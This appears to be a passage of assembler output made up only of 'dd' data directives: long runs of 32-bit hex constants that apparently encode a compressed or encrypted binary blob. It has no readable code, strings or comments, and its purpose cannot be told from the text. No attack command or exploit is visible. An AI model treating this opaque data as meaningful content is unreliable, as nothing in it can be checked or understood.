		dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh,	912BC09Dh
		dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
		dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
		dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
		dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
		dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
		dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
		dd 4F8D997h, 4C7CB424h,	58247D03h, 0F25194D8h, 624073Dh
		dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h,	0FB2391D6h
		dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
		dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
		dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
		dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
		dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h,	854A4009h
		dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h,	0B5905582h
		dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
		dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h,	0E9440762h
		dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
		dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
		dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
		dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
		dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h,	2420651Dh
		dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
		dd 0F8C41E5Fh, 80B90153h, 0
		dd 5D00h, 0ECD00020h, 40000000h, 2A000008h, 1788D9A2h
		dd 7D250F8Ch, 31A67B49h, 0B824D18Ch, 12D4E738h,	87D440C8h
		dd 0A006CB2Bh, 98593834h, 838FA47h, 44B210B7h, 1628CACh
		dd 172115BDh, 0A21CA325h, 0B2318123h, 0BC0A9968h, 0BD81DF54h
		dd 9F6559C8h, 0FAA1665h, 9B18063h, 0F9D3B835h, 0EBE37107h
		dd 77D21CD4h, 0BDD5DE49h, 144E7903h, 1AD726D8h,	28CFB840h
		dd 0F6153266h, 129029ABh, 741863E9h, 4C3DDB23h,	46049E4Fh
		dd 9628E33h, 8AF62B33h,	654D881Ch, 5ACEA885h, 43F2B27Fh
		dd 924570EDh, 9D1428D1h, 4B7C7733h, 1BBC1D4Fh, 0B1F5AF83h
		dd 0BADC6A9Ah, 5E5111BFh, 6588B9F0h, 0B5B507B3h, 97567ECFh
		dd 43640B35h, 6C6FAD5Eh, 2954EB1Dh, 8467220Ch, 8E05E2FAh
		dd 16862FAFh, 0B5E451A7h, 136B3365h, 16DDA842h,	93665D7Ch
		dd 0DCA03B57h, 8FBAE04Eh, 46FC2229h, 0FE6DEBAh,	3FA9268Ch
		dd 337A056Dh, 19AFE074h, 0D2C35D37h, 205BEEFEh,	0D6A7F9B2h
		dd 253E8A2Dh, 0CBCCEBE9h, 0D3CC8F00h, 6DF7E2F4h, 4EF81BDh
		dd 0B8CEFFA6h, 1FA7E8C2h, 0A8838F27h, 8D1FEF81h, 83E4C9D1h
		dd 8D9B1F48h, 0B01E1729h, 27E9C7CAh, 0C5907CDDh, 169B5FBDh
		dd 0AB29C634h, 0C54C2C78h, 0BAE61392h, 0FAF5E9C5h, 73A3C1C8h
		dd 26F635D2h, 0D203F9F1h, 55EF2096h, 0E93DB91Ah, 7735D041h
		dd 19C0A1CBh, 0BE634D9h, 1617A122h, 0F40C58F5h,	8683EAFCh
		dd 71DD48F8h, 0CCE5F401h, 5137E36h, 651B90C8h, 0C63A453Ch
		dd 0B9C78C97h, 64B33E3h, 89BFF86Ah, 478C6B9Bh, 7C985831h
		dd 0A2BA4B8Ch, 1615B931h, 0E906A50Eh, 25B8E2CCh, 7CA4C6F0h
		dd 5CB4A3C5h, 3F4DEA98h, 6832E49Ah, 0B309B443h,	94DBB195h
		dd 0F4B8534Ch, 0EADB69FDh, 0FD626E2h, 0EBE2C79Ah, 318A3F8Bh
		dd 0E99966D6h, 5097AE17h, 0B8999C1Bh, 97186EE3h, 0CEB2D92Eh
		dd 36C286A1h, 464F8A02h, 0F0A51891h, 3B049F2h, 753C3DEAh
		dd 9E53FA96h, 104474FAh, 9F16BE8Ch, 45BB0CF3h, 18E93467h
		dd 0B5C6B4A7h, 965D067Dh, 50C6E306h, 0C252CFB1h, 0B7A0D67Fh
		dd 8D9859D1h, 0B6CB54CFh, 6E7D2A8Dh, 0EC88CD8Fh, 0AE665C23h
		dd 0A51828BFh, 82C5A038h, 0E4A29074h, 5A22E10Eh, 55FF9F4h
		dd 12D9ADF3h, 6498FA2Eh, 769BE314h, 0D0DB4549h,	836FC556h
		dd 0EC7E6B1Fh, 1227D9EEh, 245B97B4h, 1EE2A331h,	0EB7E8AFAh
		dd 0E28A24ACh, 0ED266572h, 34A87519h, 7C9CAF4Eh, 0D29C139Ah
		dd 14D694C3h, 9034AF0Dh, 0CFF7B47Dh, 48598294h,	9456D1FEh
		dd 0F034E3D9h, 0EAAD2413h, 9E1F4E95h, 0AA52D8DDh, 23798ED0h
		dd 739C6575h, 7E58CF90h, 0A88BCD1h, 0DE1D4FF1h,	3F55D0EFh
		dd 0E084FE1Dh, 90418557h, 0CF423F8Fh, 3383A068h, 0FA8D6978h
		dd 0DCA01224h, 0BBCA241Fh, 87D8697Dh, 0A3B35BB6h, 7444023Fh
		dd 7DB1EF0h, 96E383DEh,	0B75DA5D1h, 0D4FCC217h,	97D284C9h
		dd 0AE44B1D4h, 0AD02A347h, 0F69906E8h, 0AE712770h, 865F4B25h
		dd 44E2F9CDh, 1DDCFD21h, 0C89C2B23h, 0A75177E2h, 480DB938h
		dd 8FFB1382h, 28F60002h, 0D5D9A0C9h, 0CC21EF09h, 0E031D455h
		dd 0A7BC5504h, 3C05A014h, 0E4F6A59h, 0ABBEF465h, 0FD35F9D6h
		dd 7DBA670Fh, 184C1D33h, 0B61BD1C6h, 2EAFA568h,	0E934555h
		dd 677057FCh, 7D1E95F2h, 9905A1F9h, 74C2C847h, 56E08CB6h
		dd 0C25A679Fh, 4D323E96h, 5DA160Fh, 0C8844721h,	0E7DB4A19h
		dd 0AF2E5798h, 0A9034D1Ah, 98A1B43Fh, 0D22ED1E4h, 0CE4A02FBh
		dd 0BC4CEC0Dh, 0A4850E47h, 852BB59Ch, 0AD1ACFC3h, 0E8EB8181h
		dd 0FBC05BFEh, 30F195F4h, 0C471F2CCh, 1726C61Bh, 0F1EB5B79h
		dd 59679ACAh, 7F07A209h, 6A54E3F3h, 0AEBCBE0Ah,	5C7CEBC7h
		dd 7619FEDEh, 4AF1200Ch, 0F4EC2CCBh, 0AF0271Bh,	0E1C49C0Eh
		dd 6E1A379Dh, 37E49988h, 0DAA3DF82h, 3B32C796h,	0C771DFD9h
		dd 5786A145h, 9B5EE5A2h, 9D5F4E4Eh, 0BA30603h, 4405B9DDh
		dd 0B1339885h, 39524088h, 93F0970h, 9B34E308h, 0D99A50B4h
		dd 40F598EAh, 6E87BFB6h, 0EC4DF540h, 2A8C5C16h,	0F5382E9Ah
		dd 0A35B5456h, 237830CEh, 8202ED47h, 0CF1622C4h, 59E6C2BCh
		dd 575D8262h, 813FAD04h, 0C119D5DEh, 59D4C984h,	99C52A9Ah
		dd 76A31C58h, 0A3F33742h, 54118D0h, 0E3B9371Ch,	912E69BAh
		dd 829355DDh, 0EC839997h, 5772CCBDh, 0FAAA053Eh, 0E9BDCDB6h
		dd 0ABDAE6BDh, 5EFF0D0h, 5E265A83h, 0DBA19822h,	0F295D453h
		dd 1F1F9731h, 0FF78525Fh, 0AE426508h, 69B1815Ah, 1BCF67E9h
		dd 326F21F3h, 394EA5A2h, 74A7A8CEh, 0E6185561h,	0ABBA05DDh
		dd 8C84B38Bh, 9BFBC481h, 7AE8C847h, 0F71E3929h,	2B8A6561h
		dd 3E165B3Eh, 0EC444925h, 4C321A59h, 96FD646Fh,	1436D998h
		dd 9D5ACBFFh, 1CF46C1Fh, 97ADD826h, 82BEA6ECh, 0A8AE86E7h
		dd 3B0DA89Ch, 3688966Fh, 0E602D575h, 85C16B72h,	0A39B1A5Ch
		dd 9AA1DA43h, 0D0219AE7h, 3B7C608Ah, 0FB4144ECh, 47F8CEDAh
		dd 99AECD7h, 0BA0BFBFAh, 108B8117h, 87F70851h, 0F849FA29h
		dd 0FAB51456h, 1637D15Fh, 0FEB5A7BFh, 52672296h, 0ACC88331h
		dd 0B537ED1Eh, 8B17F5A3h, 9AC7769Dh, 27B5D510h,	0A712C070h
		dd 72E3154Fh, 0CA37BF5Eh, 5F9D3F98h, 0FE9B6130h, 27D7D642h
		dd 0CF02C946h, 1B81DEF2h, 0C098AC87h, 0A54BA112h, 3A7BBAC8h
		dd 3C7CFD19h, 52A557ECh, 0BCF457A6h, 0A6D47AB6h, 8C690FDh
		dd 0AE215C26h, 0B8761289h, 0E453EB8Ch, 0C7092458h, 4C53780Bh
		dd 3B4DA098h, 0BDBCFD02h, 573EF6E9h, 0B42318BEh, 109ED925h
		dd 8C1F3D81h, 564FFD66h, 6464DF07h, 86B8862Fh, 29C73B56h
		dd 1795AE14h, 0B5CD09FBh, 0F5D48786h, 867BB36Ah, 0A383E271h
		dd 0E067D166h, 88FFD8B9h, 0A5739EE6h, 4CF2179Fh, 0AAEF1C45h
		dd 42179458h, 801B621Eh, 2BE65E5Fh, 5B93BC26h, 2C8BBD78h
		dd 0F3CBE53Dh, 3FEB03h,	0B661C636h, 0C0C456BBh,	7309B14Dh
		dd 4752FF64h, 0D243E8E9h, 920FDC28h, 0D131B633h, 71A06647h
		dd 8EF28F7Ch, 4AFECAEEh, 202202B2h, 3C9A02B9h, 0C194819h
		dd 6F48C92Fh, 0BB85F901h, 7701C413h, 989A2501h,	67470C9Eh
		dd 0B0795EC6h, 7A8001B1h, 8A719647h, 62D28220h,	7B7DAC77h
		dd 0D05E7C72h, 0F29ACC9h, 573058A0h, 1BE30D05h,	0B1089DCEh
		dd 0DB4BFCEAh, 0D0F2D82Ah, 92D3C342h, 5298E081h, 0E8985C79h
		dd 9D6D8D76h, 802F17F5h, 0A13A65BEh, 0D160898Eh, 4F8CCC03h
		dd 0FB1BADEFh, 8CBF2E9Fh, 0AD6DD840h, 52E27511h, 0BBC82A15h
		dd 707A644Dh, 8ACDDC9Bh, 0AB5D996Eh, 494E1B2h, 5E60DBF4h
		dd 53EF4C85h, 0F6C43ED8h, 8463BDEEh, 0DA96DFEEh, 560B003Bh
		dd 43CF1F82h, 1419D311h, 0DAD544ACh, 95A157ACh,	2DB14BCCh
		dd 0DBC1055h, 8128FFCCh, 0DBF50124h, 0D6D58516h, 9424CD9h
		dd 0FD479C2Eh, 25268057h, 0DFE92444h, 30298229h, 0B4FB72F1h
		dd 57180844h, 4DC75A9Bh, 0F8BE4DEFh, 0FE5381B7h, 0E7EEC82Eh
		dd 0BC2C8B36h, 279C1403h, 7543A811h, 9A94FF00h,	91655F80h
		dd 144C40BCh, 399AA331h, 3A3BF3C5h, 4C7DAE53h, 0A749972Dh
		dd 0AC5D32CBh, 6FEF581Eh, 63BEC4BEh, 4BC7BF10h,	7395E26h
		dd 0C69D1DDEh, 0A4CEF8F6h, 5D229C80h, 3BCC86FEh, 0BA5BD495h
		dd 0F15F0F8Eh, 8F13F721h, 516B0BC1h, 5CA9F035h,	56157B22h
		dd 0C464BF36h, 4F270A3Eh, 0E801644Ch, 7B824594h, 81CAB4C8h
		dd 8D73CFA8h, 2A7E2BE2h, 61BCD8D8h, 0F4697B07h,	0F16B9201h
		dd 0B2883904h, 0E00F3D5h
		dd 2FAF8BC2h, 113B5248h, 68AC91B1h, 297B9AA3h, 0BC9BE80Eh
		dd 0A28D5A3Eh, 907EC629h, 33A1FDE4h, 0DE2CF42Eh, 0EA13535Fh
		dd 4B54F108h, 0E7929527h, 24EB55FDh, 0A7DD616Ah, 269C5857h
		dd 513DAFC9h, 0A5F1E20Ah, 0DD2BAEA0h, 0E3718F76h, 5084C7FAh
		dd 1D715E14h, 4D23838Ch, 6099FEBBh, 0DD67E3D6h,	0E8F7ABCh
		dd 0E4D33138h, 0C04936D2h, 0C16B9F4Bh, 37E8A907h, 5B0A1DCh
		dd 9F5915D9h, 0A1E4D060h, 58C5969Ah, 0E1022D90h, 0EF257387h
		dd 8CC501EDh, 62F84A96h, 0CC095ED5h, 2C2078F2h,	21FA4CF5h
		dd 82617212h, 550FE0C8h, 0CAFD82A5h, 16660FBFh,	54FD6A4Eh
		dd 0F189F566h, 0A4DA9BC1h, 0A65FEB54h, 5DF97E82h, 24876C16h
		dd 0B56AF4A5h, 0E85A98DFh, 180CFD79h, 400C8548h, 0C4114300h
		dd 0BB36E998h, 0D1748267h, 54C725F3h, 783F5E3Bh, 0EEB39E4Eh
		dd 0EF205EE6h, 0DA9D2FE6h, 249C570Eh, 0ACC959F3h, 7CB2AB10h
		dd 0FA7017DAh, 0C0CA79F6h, 8B138DCCh, 103AC15Ch, 1DBAF3BBh
		dd 3469967h, 0F750D6F9h, 390CE248h, 0E67266CCh,	0DB433B1Dh
		dd 0E8356E8Eh, 9042716h, 965D8D20h, 47CFB414h, 548A34A8h
		dd 9B30577Ch, 0F9CA4D8h, 0FC554B3Fh, 45A81161h,	4149D194h
		dd 0BCCE595Ch, 0E8AE87C8h, 932AEAh, 69B30470h, 2EC880D7h
		dd 0F9DA7097h, 78923F39h, 730A0540h, 64E1473Eh,	0AABC5E3h
		dd 1DC13A0Fh, 9EC1D8E4h, 0AE071EE7h, 1C1B87C7h,	8BF69E2Ch
		dd 504608A7h, 927DEE8Eh, 3C3CB91Fh, 7679469h, 0E1E4B6B5h
		dd 0FC7D7F08h, 600BF026h, 605938F0h, 302D739Eh,	0E6A33431h
		dd 609A9EA8h, 63CC63BFh, 94D1035h, 19BE998Ch, 0BEBF3237h
		dd 0AC129DE6h, 0C2900727h, 20170132h, 0E1508752h, 5A7683DFh
		dd 0FC07FE8h, 99F628DDh, 64908605h, 0A49E6BEBh,	30E9572Fh
		dd 59335D51h, 0A290636Fh, 2A93100Ah, 8C9970EAh,	0BA464439h
		dd 531A3180h, 80639962h, 0CF75EFDCh, 428D83E5h,	1A2BF208h
		dd 7FA65C7Eh, 0EECCFBB4h, 0CA0B1666h, 29646163h, 72EEED97h
		dd 98FC043h, 0A98FF349h, 2E88692Ah, 0F19A967Fh,	250DE853h
		dd 3C0D0BB0h, 0F0405224h, 13904805h, 5AD9A20Eh,	3EBB0FC1h
		dd 0CD338D6Ch, 0A61909B9h, 5E2B6CBAh, 3840FB32h, 58509AC1h
		dd 126FCD4Dh, 805FE69h,	551CE7CDh, 4F2A5288h, 0F018A051h
		dd 7155BC9Dh, 0EDF2998Eh, 344934FBh, 0D95F7175h, 16A15D84h
		dd 0F36A31E7h, 4F4E3273h, 43EA760h, 4D96B06Bh, 0AF2801AFh
		dd 3D21B13Bh, 69C04A2Dh, 84E342FDh, 5342C555h, 0DA716A79h
		dd 8D1762C8h, 0DB6C1730h, 1815897Ah, 147EA0FCh,	0E89B41B1h
		dd 9E7F5FB7h, 0FCA13ABh, 0F93E733h, 0DA2F9F7Fh,	68BEE5A3h
		dd 308DC385h, 0C4EE527Fh, 107CE3FBh, 0EA6D4A32h, 686F6896h
		dd 3C745186h, 67C5C87Dh, 0DABE4A58h, 0CB40E152h, 661D6DE4h
		dd 0E1E8F7CDh, 7EA3B0BAh, 8E8E9CCCh, 77B83CB7h,	0AFF23993h
		dd 59922748h, 0B336F342h, 5797211Ch, 0AAD82AA5h, 0C383D474h
		dd 22345090h, 0A1861CA2h, 0F404111Ah, 22EECF2Ch, 95DF74D5h
		dd 0F0F8BC32h, 68370F7Fh, 0F2C2396h, 0C94A8148h, 68D920C9h
		dd 0ADEBD29Fh, 4FBFCB03h, 0E43E8ECh, 433D2179h,	8A5D2E57h
		dd 2EB58F3Ch, 0C004944Dh, 738232Fh, 0BBB60F67h,	8035FB05h
		dd 18706B92h, 2C1116F2h, 746A21B0h, 6D89006Fh, 0EB916D0Eh
		dd 4254D78Fh, 160B9B73h, 0CC3C75D0h, 0FEA58649h, 8913D57Ah
		dd 0DDA795C8h, 0FDB3D012h, 0C96C36C6h, 334AC737h, 8D26FC68h
		dd 23E2BAB2h, 1488B783h, 0CF880CC7h, 35170D5h, 1B388C97h
		dd 348B3284h, 7C17576h,	5F05472Ah, 0C0CAAFF4h, 7E78DD56h
		dd 0A3409B5Eh, 979C2A57h, 0DB02A836h, 1484F3B5h, 424DEA5h
		dd 0D746AF1Ch, 0C2A3B362h, 0C9C430F3h, 97361619h, 0D965E8B1h
		dd 0F16DEF27h, 4B08F341h, 0FC5FE3FFh, 1A220E39h, 3B6CFD14h
		dd 0C71C5A9Eh, 2355B5F8h, 0B54E9536h, 0EBD0AC0Ah, 15BD0D4Dh
		dd 0C17D9B19h, 3D383D09h, 3C07D6BAh, 0C300BA7h,	19AED02Ah
		dd 0D4476F33h, 901D8DF2h, 0AE38B0F7h, 0C2D7B7DCh, 0D40576A1h
		dd 3DE25B08h, 0A67B7A6Bh, 0C04F1913h, 10D01D3Eh, 10944AAAh
		dd 4F97EDEEh, 8C568EDEh, 0AC683262h, 98FED556h,	29067224h
		dd 0C842BD25h, 5517A4CBh, 0AC5E4A5Fh, 428B6EDAh, 367704B4h
		dd 67A31D5Eh, 18C68E30h, 4C5D3596h, 0A8A8109Eh,	0FA009CBDh
		dd 70843956h, 0DA7E228Dh, 34798330h, 92F869D3h,	6041F2A8h
		dd 0FF18686Ch, 0D343BFBDh, 3B2D2F22h, 57DFEEA8h, 0C904567Dh
		dd 6C7A97B5h, 9874B443h, 12E207DDh, 3D691ECCh, 129C2036h
		dd 0E49F12BBh, 5078AB90h, 0FCCE9C86h, 54FFEF0Fh, 39C8AEC6h
		dd 0BD14E51Eh, 0DE81E268h, 0DEDFEC68h, 8BC8CDC5h, 0B6054844h
		dd 0A3C9E526h, 0C0F50289h, 187718CEh, 0BF779888h, 705BA9A1h
		dd 5D345547h, 0CCDA667Eh, 3E76599Ah, 0CB28DA87h, 438A8C2Bh
		dd 42FA60B2h, 11CE1D65h, 2C8E6554h, 32040B88h, 9B34B493h
		dd 4D934AD1h, 0DFA61786h, 2A1E62A0h, 5D488829h,	17E4FADDh
		dd 15EFE093h, 574B4092h, 5CF9F8FBh, 9F470F72h, 0A38AB76Ch
		dd 15B4A5C3h, 4D8C9A15h, 0B2B3250Ch, 0F10095B1h, 591436F3h
		dd 1666DC8Ah, 5DD55D72h, 6DEF5703h, 7BEB9781h, 73F4620Bh
		dd 0AB7BAD09h, 52C69CCCh, 1BA95F01h, 0D90EE0C1h, 9FF2CD8Ah
		dd 0A97B07CEh, 0EABA6654h, 6AAC4490h, 5BBF4104h, 0B5F33AAh
		dd 71B82203h, 8D32F984h, 6F163F8Dh, 0EE677959h,	88B835FAh
		dd 518B705Ch, 0D5C28788h, 490E67BBh, 0D61B2746h, 0F88104CBh
		dd 0CDC7F5B5h, 0FE3B93E8h, 0D1833226h, 0E2CF0A41h, 0EF33E10Bh
		dd 9E642E4Ch, 77E6D6BBh, 4026B222h, 0BC0A3C7Bh,	0EC1296AAh
		dd 0A96A177Ah, 45E00B5Ch, 22C3F416h, 76663C6Ch,	74CA180Bh
		dd 0DC1D8808h, 0E3543A2Ah, 38EF36E3h, 961EFB37h, 130EA523h
		dd 1574A5DBh, 116927D8h, 8F2CB29h, 0EF896C09h, 0A5FA3D9Fh
		dd 420D80BDh, 2CB8C08Fh, 24F2CB9Ch, 36F4F786h, 344C1D80h
		dd 66ECB958h, 47FF4196h, 0DFA5D4E1h, 0C3CD2FD8h, 7561BA62h
		dd 3F0DD319h, 7F473F9Bh, 0F6F6ADBh, 2EE78933h, 71F5E942h
		dd 2993973Bh, 24E2D44Eh, 36E7AE0Eh, 6BD102C8h, 2B64CCAEh
		dd 7C0F2A2h, 6DD12A28h,	379B4875h, 0A23FBAB4h, 6423829Fh
		dd 3582BB1Eh, 19C9CDFDh, 0D1649ABEh, 0C955E08Eh, 0FBEAB46Eh
		dd 7CFC64F0h, 0E57B21A1h, 3CD752B9h, 8ECD3123h,	81E409CFh
		dd 0A450BE11h, 313145D6h, 0ED97DA39h, 24972D5Ah, 0D8354035h
		dd 0FA9EAA45h, 27C1F4C7h, 0ED2A9EBAh, 0C7BE67A3h, 6BE33C0Ah
		dd 0AC383B0Fh, 0B213E7Ah, 60628CE0h, 8ECAC982h,	0AD1F1025h
		dd 0BD688CADh, 0F5C2E362h, 6A50FFA6h, 8916C6E9h, 8624DFF7h
		dd 23E71B0Eh, 1E5E8F46h, 0E72AD889h, 992A8105h,	0D5CCBF8Dh
		dd 0BDB2EE9h, 0A9CDBFD8h, 61B4E067h, 0A8E6DF2Dh, 0B8032CC0h
		dd 492CE574h, 0D6F52F84h, 0FE9948EFh, 52CE385Ah, 3D590B96h
		dd 1BB9838Dh, 71107D3Bh, 0BDF2A340h, 7D5CBECEh,	1EEB0474h
		dd 213C870Eh, 349F831Ch, 617AE572h, 2800CD7Fh, 6482694Bh
		dd 53825317h, 9A787FF5h, 0EEB4F79Dh, 82E2B486h,	0A6B90C6Ah
		dd 995C990Bh, 0E8450A19h, 0A732C753h, 9EEE7AEh,	203F398Fh
		dd 686AC6DCh, 171FDD5Ah, 2EBAEE03h, 12419D5Ah, 21048F20h
		dd 0FDC6A885h, 403E18D7h, 3724F74Dh, 0FC0EA67Fh, 0D8B2724Ch
		dd 0D64E6971h, 1D1F9454h, 789BEA5Ah, 0E162C47Bh, 8A96120Ah
		dd 0FB2775A3h, 0CCAE0E51h
		dd 0E3020AFCh, 0E173B54Ch, 0DDAFC63Dh, 3D9A1C26h, 32A845EEh
		dd 0A5B597D7h, 5BE0E8ADh, 15D4A3C3h, 0E6AF49C1h, 0FA74C99h
		dd 760F3161h, 48895BA0h, 0D1847457h, 2A58B400h,	8EF21739h
		dd 0A329E139h, 0E7F7475Eh, 0BEF712EAh, 0F66C6310h, 42A32EEFh
		dd 0A149AE65h, 4876AF2Fh, 13CF342Ah, 0E68A97A2h, 4D4A3032h
		dd 50EEDBCBh, 0CFFC8290h, 6E20454Ah, 0A40C1C4Eh, 0A0B7AE2Fh
		dd 55B5F6C8h, 0C7E8B79Ch, 0E66BD153h, 0E341F4C5h, 0E56BE216h
		dd 7C70D992h, 777FEFE4h, 0F49A6804h, 27394143h,	0D9A7D84Ah
		dd 2AC0CEC7h, 0F86D283Ch, 0EA36BC0Ah, 8AA9608h,	0B3A25277h
		dd 3EA6B915h, 7C5F8C7Ah, 0E767F79Dh, 0DE4CFDD8h, 0D2945962h
		dd 0AC99A05Ch, 2FDCE30Fh, 0DBAF6E0h, 1C4011F1h,	0A5B00BAEh
		dd 5CCB3659h, 8F679A4Eh, 660F7D89h, 0BB9E6DACh,	7D27F0FCh
		dd 7FC836D4h, 0BB708F44h, 8949A463h, 790B9CB6h,	796D971Ch
		dd 1EF96BE5h, 21C8065Bh, 73A8D399h, 873C91FFh, 19932D75h
		dd 0D4BF3161h, 0ADAEA0C1h, 0FA6D1E5Fh, 0E9EEC424h, 1A9AF5Ch
		dd 0B06F8E6Eh, 0E6237986h, 9FDD44FDh, 109D2C62h, 62DF7CA2h
		dd 9FD62CB3h, 0E8328CC4h, 6E29A0BEh, 0E1D93F1Dh, 68F84BCDh
		dd 0FCE1A7AAh, 0A1CA5A7Fh, 0B73B6637h, 17A11DE5h, 0AE58F816h
		dd 622A4971h, 779966D9h, 0F76D4249h, 0EAF31345h, 59DDAD2Dh
		dd 90D6C991h, 728EAF10h, 0FC8BEA49h, 28248BC3h,	82F76491h
		dd 2751EDE7h, 96D3E1EAh, 4BDA6168h, 668C8451h, 40E1131Dh
		dd 27303651h, 0CF7017B9h, 6A1ECCCAh, 0F446FFEFh, 218DF23Ch
		dd 0E48A6ED2h, 40EF5118h, 6636F6Bh, 0E0C90CC0h,	0F91A02F5h
		dd 45D1672h, 19750851h,	0B6ED1231h, 0AB5E965Ah,	2F139F67h
		dd 468106CEh, 64EC8A85h, 0A8DA1328h, 4B47A2DFh,	109CC355h
		dd 77AB0BFFh, 0B40727DCh, 3BB0455Ch, 0E4DC7DEh,	890C9A1Ah
		dd 19BD9D57h, 532E705Bh, 270B3783h, 4C285921h, 993604C7h
		dd 3AC8DC5Ah, 36C99F02h, 0C9CE4C9Fh, 0DCD1A5ECh, 48F508C0h
		dd 0D44F43BCh, 57607E69h, 4085D7B1h, 0C35F6250h, 28D1E714h
		dd 914AE9B6h, 6E5AB21Bh, 2C8A7A99h, 9BFB691Ah, 7F4B39D0h
		dd 0D6F56084h, 41A018D0h, 7751133Bh, 296666h, 16264F76h
		dd 85CF1AB9h, 6A1A498h,	0ED8802E7h, 3640B2h, 88749BAFh
		dd 263EC3D5h, 0EFD373C2h, 0E7CF6AD7h, 0DF9E9AE2h, 5D4B1C46h
		dd 8FDEDDC4h, 1DB0D818h, 0FD682576h, 507EED53h,	0D5854F1Dh
		dd 0C57CEA2Fh, 0D8B26CEBh, 5B8350B4h, 54AC37CBh, 2156924Dh
		dd 935EEC98h, 22AF8EC6h, 0A924940Ch, 0E6044802h, 0E6B4594h
		dd 0C3D26557h, 6E3F6713h, 0E4A3C5B1h, 1FEB340Ch, 0C78EE5EFh
		dd 0C9B9C0B2h, 0F4BE485h, 0CA4FA695h, 0F35B84D8h, 0B67B47E5h
		dd 3E26D594h, 9A2DDCEEh, 0AB2B455h, 0BF1CBBE4h,	53C03C5Ch
		dd 5803D0D5h, 0C78679E0h, 39CFBB8Dh, 69FD18B8h,	1F3F56B8h
		dd 3D8F8A9Dh, 0B170D01Fh, 742933B9h, 1A91C40Dh,	5E17C240h
		dd 0CED8C906h, 0E6F76DCDh, 3F914D17h, 3E41D40h,	28680A8h
		dd 0CB2516BAh, 9EF67817h, 71173517h, 0BA3A8FFBh, 8F1E8C0h
		dd 7D006188h, 9A3B334Bh, 385BBDCh, 0FD0C0D7Ch, 0D43DD3A6h
		dd 37EE79E1h, 443545AAh, 8DBD75D7h, 6FBC35Fh, 0F5456141h
		dd 8D2E23A0h, 6D6FBF1Bh, 972EEC1Eh, 8D27E1B1h, 0D62E6713h
		dd 9409C036h, 2D937C71h, 72B2736Ch, 59BFEBADh, 0C51774A5h
		dd 68B99398h, 7F513C52h, 0FFBCEF1h, 17B38EBBh, 0A5556715h
		dd 620A495Ah, 2375162h,	0D041872Eh, 845BC9F1h, 56EDA029h
		dd 9DDD812h, 4FB9FEFDh,	9D2D5FE5h, 0F0187733h, 30037668h
		dd 0EC8B67DFh, 8BD1FBBDh, 15F6FB8Ah, 0D4C95437h, 3BA1FC76h
		dd 0C1C3F01Dh, 43AB7B47h, 69501686h, 0D8CEBD8Ah, 579DF9BEh
		dd 428FD5CBh, 2178E7C1h, 428718C3h, 79C2058h, 1EBA88BCh
		dd 78BC30D2h, 99DD173Dh, 0B7CFE592h, 304F36D4h,	8B8236C7h
		dd 0EDAFD505h, 0FA581FD4h, 1A12EFE8h, 5717E2E3h, 183656F2h
		dd 0EA69E95Ah, 0E25188D5h, 99EA4A09h, 0B4728001h, 4FC3052h
		dd 0E1FE8CE5h, 0AB6C8B00h, 69E700DBh, 0E19886D8h, 39FBCBF1h
		dd 0FB150A41h, 0FBAC3A90h, 9609818Dh, 643FE2FFh, 0E67981E0h
		dd 1778D8C3h, 0D8B203F2h, 0B7BB421Ah, 2255BA0Ch, 40EE1046h
		dd 0DE781EA3h, 5EBF3B9Ch, 0E229ADAh, 0CE74B635h, 0B4487340h
		dd 610B011Dh, 462559A8h, 46E55C7h, 3E1BFD89h, 6DC36A75h
		dd 0E63EB444h, 0BE62C7A2h, 0E34CBCB3h, 0F3344C76h, 0A9366A01h
		dd 8AC6BB86h, 0FE832BA3h, 91B4DFDBh, 0E618D7CBh, 2C88F892h
		dd 5925ADB0h, 783740FEh, 8DA6D690h, 11AA0B69h, 68DB602Fh
		dd 0BC4328D9h, 6FC1A728h, 9DF5412Fh, 99E84FD3h,	0B2B3E0D1h
		dd 71D260D5h, 32EEA1DDh, 0EC428F26h, 0F4BC55Dh,	0BBFF3B4Fh
		dd 90C4F071h, 0E11BBAABh, 99C76C9Ch, 5BCB0FFCh,	11CFFE2Eh
		dd 4EB5D44Fh, 0D6205D2Eh, 0FD05F964h, 0FB9A1365h, 0BDA85842h
		dd 0AF6863E1h, 409033A2h, 31D0F31Fh, 0CD7C09AEh, 358DDE1Bh
		dd 64394F6Dh, 0DDBFB02Ah, 215F43C9h, 4E628E8Ch,	180C9910h
		dd 6E6E0D8Fh, 0DDE7FA36h, 0D125DF44h, 315CFE06h, 541846A7h
		dd 723DC7BDh, 2772B4CDh, 9F89684Bh, 6F32C255h, 0EE3E7A57h
		dd 24787839h, 233FA8E7h, 40EE7781h, 0E3303348h,	7218EA0Fh
		dd 0F69B8FDEh, 0CEFA4D63h, 0CA896653h, 0A7DC31BFh, 5E49FCE2h
		dd 867DA922h, 0DAD4A65h, 0CF284050h, 8285F9BCh,	8C86FA9h
